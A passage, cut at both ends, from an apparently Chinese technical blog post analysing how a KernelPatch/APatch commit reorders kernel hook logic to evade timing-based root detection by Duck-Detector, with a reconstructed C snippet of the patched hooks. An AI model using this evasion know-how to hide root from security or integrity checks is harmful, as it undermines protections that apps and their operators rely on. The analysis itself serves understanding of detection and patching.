leaf="">Seccomp</span></code><span leaf="">拦掉，检测器会把这次情况单独记为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SECCOMP</span></code><span leaf="">，而不是简单当成未检测到。这个设计说明作者清楚地区分了“没有命中”和“系统调用根本没机会执行”。</span></p><h2 data-line="72" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">官方补丁的过检测思路</span></h2><p data-line="74" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">需要说明的是，先有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">的内核补丁工具仓库</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelPatch</span></code><span leaf="">的补丁提交，才有检测器的检测点更新。这也与很多的漏洞分析一样，攻击者往往在目标程序更新漏洞后，通过分析补丁内容还原Poc。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelPatch</span></code><span leaf="">的思路是改写路径顺序：尽量让不可信调用在进入敏感逻辑之前就结束，避免每次都先把用户态缓冲区拷进来，再去做认证判断。</span></p><p data-line="76" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">从公开</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">diff</span></code><span leaf="">能直接确认的变化，主要集中在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">predata.c</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sucompat.c</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">supercall.c</span></code><span leaf="">和头文件声明上。大致逻辑概括如下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="78" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">1. 先判断当前UID是不是排除对象，避免无关路径继续执行。</span><br/><span leaf="">2. 如果`has_preset_superkey()`分支成立，就再去读取用户缓冲区并做认证。</span><br/><span leaf="">3. 把trusted caller和authed拆成两个状态。</span><br/><span leaf="">4. 不是trusted caller就提前返回，不进入后续拷贝和命令处理。</span><br/><span leaf="">5. 只有通过前置判定后，才跳过原始处理器并进入supercall。</span></code></pre><p data-line="86" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对应的过检测代码如下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="88" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">has_preset_superkey</span></span><span style="color: inherit;"><span leaf="">()</span></span><br/></span><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> start_preset.superkey[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">] == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;\0&#39;</span></span><span leaf="">;</span><br/><span leaf="">}</span><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">handle_before_execve</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> **__user u_filename_p, </span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> **__user uargv, </span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *udata)</span></span><br/></span><span leaf="">{</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 先排除不需要进入处理链的UID</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uid_t</span></span><span leaf=""> uid = </span><span style="color: rgb(0, 122, 204);"><span leaf="">current_uid</span></span><span leaf="">();</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!</span><span style="color: rgb(0, 122, 204);"><span leaf="">is_su_allow_uid</span></span><span leaf="">(uid)) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> __user *ufilename = *u_filename_p;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> filename[SU_PATH_MAX_LEN];</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 先把用户态路径拷进内核缓冲区，再继续后续逻辑</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> flen = </span><span style="color: rgb(0, 122, 204);"><span leaf="">compat_strncpy_from_user</span></span><span leaf="">(filename, ufilename, </span><span style="color: rgb(0, 122, 204);"><span leaf="">sizeof</span></span><span leaf="">(filename));</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (flen &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span leaf="">}</span><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">before</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">hook_fargs6_t</span></span><span leaf=""> *args, </span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *udata)</span></span><br/></span><span leaf="">{</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 先看当前UID是不是排除对象</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uid_t</span></span><span leaf=""> uid = </span><span style="color: rgb(0, 122, 204);"><span leaf="">current_uid</span></span><span leaf="">();</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">get_ap_mod_exclude</span></span><span leaf="">(uid)) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 把“是否可信”和“是否已认证”拆成两个状态</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> is_trusted_caller = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> is_authed = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 如果存在预置superkey，先从用户态拷贝key，再做认证</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">has_preset_superkey</span></span><span leaf="">()) {</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *__user key_user = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *__user)</span><span style="color: rgb(0, 122, 204);"><span leaf="">syscall_argn</span></span><span leaf="">(args, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> key[MAX_KEY_LEN];</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> len = </span><span style="color: rgb(0, 122, 204);"><span leaf="">compat_strncpy_from_user</span></span><span leaf="">(key, key_user, MAX_KEY_LEN);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (len &lt;= </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span leaf="">        is_authed = !</span><span style="color: rgb(0, 122, 204);"><span leaf="">auth_superkey</span></span><span leaf="">(key);</span><br/><span leaf="">        is_trusted_caller = is_authed;</span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 管理员UID直接进入可信路径</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">is_trusted_manager_uid</span></span><span leaf="">(uid)) {</span><br/><span leaf="">        is_trusted_caller = </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">;</span><br/><span leaf="">        is_authed = </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">;</span><br/><span leaf="">    } </span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">is_su_allow_uid</span></span><span leaf="">(uid)) {</span><br/><span leaf="">        is_trusted_caller = </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">;</span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 非可信调用直接结束，不进入后续拷贝和命令处理</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!is_trusted_caller) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> ver_xx_cmd = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)</span><span style="color: rgb(0, 122, 204);"><span leaf="">syscall_argn</span></span><span leaf="">(args, </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> cmd = ver_xx_cmd &amp; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0xFFFF</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (cmd &lt; SUPERCALL_HELLO || cmd &gt; SUPERCALL_MAX) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 读取后续参数，交给补丁后的supercall统一处理</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> a1 = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)</span><span style="color: rgb(0, 122, 204);"><span leaf="">syscall_argn</span></span><span leaf="">(args, </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> a2 = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)</span><span style="color: rgb(0, 122, 204);"><span leaf="">syscall_argn</span></span><span leaf="">(args, </span><span style="color: rgb(0, 128, 0);"><span leaf="">3</span></span><span leaf="">);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> a3 = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)</span><span style="color: rgb(0, 122, 204);"><span leaf="">syscall_argn</span></span><span leaf="">(args, </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> a4 = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)</span><span style="color: rgb(0, 122, 204);"><span leaf="">syscall_argn</span></span><span leaf="">(args, </span><span style="color: rgb(0, 128, 0);"><span leaf="">5</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 跳过原始实现，避免再次走旧的认证分支</span></span><br/><span leaf="">    args-&gt;skip_origin = </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">;</span><br/><span leaf="">    args-&gt;ret = </span><span style="color: rgb(0, 122, 204);"><span leaf="">supercall</span></span><span leaf="">(is_authed, cmd, a1, a2, a3, a4);</span><br/><span leaf="">}</span><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">supercall</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> is_authed, </span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> cmd, </span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> arg1, </span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> arg2, </span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> arg3, </span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> arg4)</span></span><br/></span><span leaf="">{</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 未通过认证时，直接拒绝敏感命令</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!is_authed) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> -EPERM;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">switch</span></span><span leaf=""> (cmd) {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 这里省略其它命令分支</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">default</span></span><span leaf="">:</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><br/><span leaf="">    }</span><br/><span leaf="">    ...</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> -ENOSYS;</span><br/><span leaf="">}</span></code></pre><p data-line="170" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这里的“认证前拷贝”，对应的是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">compat_strncpy_from_user(key, key_user, MAX_KEY_LEN)</span></code><span leaf="">这一段。它先把用户态传入的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">key</span></code><span leaf="">复制到内核缓冲区，再交给</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">auth_superkey(key)</span></code><span leaf="">判断是否通过认证。也就是说，认证判断本身并不是直接读取用户态指针，而是建立在一次内核态拷贝之后完成的。</span></p><p data-line="172" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">真正的认证路径则体现在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">supercall(is_authed, cmd, a1, a2, a3, a4)</span></code><span leaf="">这一步。前置钩子先把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">is_trusted_caller</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">is_authed</span></code><span leaf="">分开处理，只有可信调用才会继续往下走；而在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">supercall</span></code><span leaf="">内部，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">if (!is_authed) return -EPERM;</span></code><span leaf="">又把后续敏感命令重新卡住。于是，认证前拷贝负责把输入带进来，认证路径负责决定这些输入能不能进入真正的命令分支。</span></p><p data-line="174" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这段改动的意义在于，把“是否可信”和“是否已认证”拆成两个状态。</span></p><p data-line="176" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">is_trusted_caller</span></code><span leaf="">决定这次调用能不能继续往下走，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">is_authed</span></code><span leaf="">决定后面的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">supercall</span></code><span leaf="">里哪些命令可以真正执行。这样一来，很多不该进入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">copy_from_user</span></code><span leaf="">的场景，会在更早的分支里结束掉。</span></p><p data-line="178" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">supercall</span></code><span leaf="">本体也从</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">is_key_auth</span></code><span leaf="">改成了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">is_authed</span></code><span leaf="">。表面上只是变量名变化，实质上是把认证状态的语义整理得更清楚，让前置钩子和实际命令执行之间的关系更直接。</span></p><p data-line="180" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">另一个补丁点在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sucompat.c</span></code><span leaf="">。这里先判断</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">is_su_allow_uid(uid)</span></code><span leaf="">，再去做</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">compat_strncpy_from_user</span></code><span leaf="">。这一步很小，但很关键，因为它减少了不可信应用触发用户态拷贝的机会。对于</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Duck-Detector</span></code><span leaf="">这种专门盯时间差的工具来说，只要路径里多了一次不必要的拷贝，就可能把侧信道放大。</span></p><p data-line="182" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">predata.c</span></code><span leaf="">里新增的</span><code style="font-family: 